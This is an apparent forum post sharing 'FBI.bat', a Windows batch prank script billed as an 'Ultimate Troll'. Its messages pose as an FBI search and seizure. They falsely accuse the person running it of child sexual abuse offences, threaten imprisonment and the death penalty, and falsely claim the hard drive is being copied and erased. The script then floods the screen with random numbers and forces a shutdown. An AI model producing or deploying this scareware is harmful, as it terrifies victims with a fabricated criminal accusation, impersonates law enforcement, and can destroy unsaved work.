FBI.bat | "Ultimate Troll" - Printable Version

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@echo off
color 0f
title FBI HDD SEARCH AND SEIZURE

echo Obtaining Computer's IP Address...

timeout 3
echo .........................
echo . CONTACTING THE FBI... .
echo .........................

timeout 3

echo ...........................................
echo . DIALING FBI PHONE NUMBER (202) 324-3000 .
echo ...........................................

timeout 10

echo ................................................................................
echo . ATTENTION!!! Your computer IP Address 92.102.01.2 is now being traced by     .
echo . the FBI as it is suspect of having visited or hosted A child porn site and/  .
echo . or have uploaded, downloaded or both to a known child porn site. Visiting,   .
echo . hosting, uploading or downloading nude pictures of children to such          .
echo . internet sites in the United States of America is ILLEGAL and is punishable  .
echo . by no less than 5-10 years imprisonment PER COUNT WITHOUT PAROLE, $500,000   .
echo . fine, and/or the echo .death penalty (in some states) if proven guilty.      .
echo ................................................................................

timeout 10

echo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
echo :: Erasure of your computer's Hard Drive(s) to conceal evidence of your   ::
echo :: internet whereabouts will result in further investigation and severe   ::
echo :: criminal penalties to include ten (10) years imprisonment and/or       ::
echo :: $500,000 fine for obstruction of justice under the federal penal code. ::
echo ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

echo          .................................................
echo          .  THE FBI IS COPYING YOUR HARD DRIVE(S) NOW!!  .
echo          .................................................

timeout 5      

echo          ...................................................
echo          . HDD COPY CYCLE COMPLETE!! NOW DELETING HDD DATA .
echo          ...................................................

timeout 5

echo ......................................................................
echo . To prevent further instances in the future the FBI has anonomously .
echo . decided to render your computer unusable and will now permanently  .
echo . disable your computer.                                             .
echo ......................................................................
echo .......I Will Now Execute Command, 3hgw5th6p.exe, in 15 seconds.......
echo ......................................................................

timeout 15

set loopvar=1
:looplabel
set /a loopvar=%loopvar%+1
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
if '%loopvar%'=='1500' goto endlabel
goto looplabel
:endlabel


shutdown -s -f -t 15 -c "The FBI HDD Search and Seizure program is now finished. We will contact you within 8-10 business days reguarding the results of your computer's HDD Search and Siezure."
exit



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